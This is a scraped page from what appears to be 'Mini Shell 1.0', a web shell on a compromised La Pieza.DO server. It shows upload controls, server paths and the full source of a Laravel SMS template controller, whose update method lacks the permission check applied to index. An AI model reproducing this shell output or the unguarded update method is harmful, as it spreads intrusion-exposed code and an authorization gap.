HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/SmsTemplateController.php
<?php



namespace App\Http\Controllers;



use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use App\Models\SmsTemplate;



class SmsTemplateController extends Controller

{

    public function __construct() {

        // Staff Permission Check

        $this->middleware(['permission:sms_templates'])->only('index');

    }



    /**

     * Display a listing of the resource.

     *

     * @return \Illuminate\Http\Response

     */

    public function index()

    {

        $sms_templates = SmsTemplate::all();

        return view('backend.otp_systems.configurations.sms_templates', compact('sms_templates'));

    }



    /**

     * Show the form for creating a new resource.

     *

     * @return \Illuminate\Http\Response

     */

    public function create()

    {

        //

    }



    /**

     * Store a newly created resource in storage.

     *

     * @param  \Illuminate\Http\Request  $request

     * @return \Illuminate\Http\Response

     */

    public function store(Request $request)

    {

        //

    }



    /**

     * Display the specified resource.

     *

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function show($id)

    {

        //

    }



    /**

     * Show the form for editing the specified resource.

     *

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function edit($id)

    {

        //

    }



    /**

     * Update the specified resource in storage.

     *

     * @param  \Illuminate\Http\Request  $request

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function update(Request $request, $id)

    {

        $sms_template               = SmsTemplate::where('id', $id)->first();

        $sms_template->sms_body     = str_replace("\r\n",'',$request->body);

        $sms_template->template_id  = $request->template_id;



        if ($request->status == 1) {

            $sms_template->status = 1;

        }

        else{

            $sms_template->status = 0;

        }



        if($sms_template->save()){

            flash(translate('SMS Template has been updated successfully'))->success();

            return back();

        } else {

            flash(translate('Sorry! Something went wrong.'))->error();

            return back();

        }

    }



    /**

     * Remove the specified resource from storage.

     *

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function destroy($id)

    {

        //

    }

}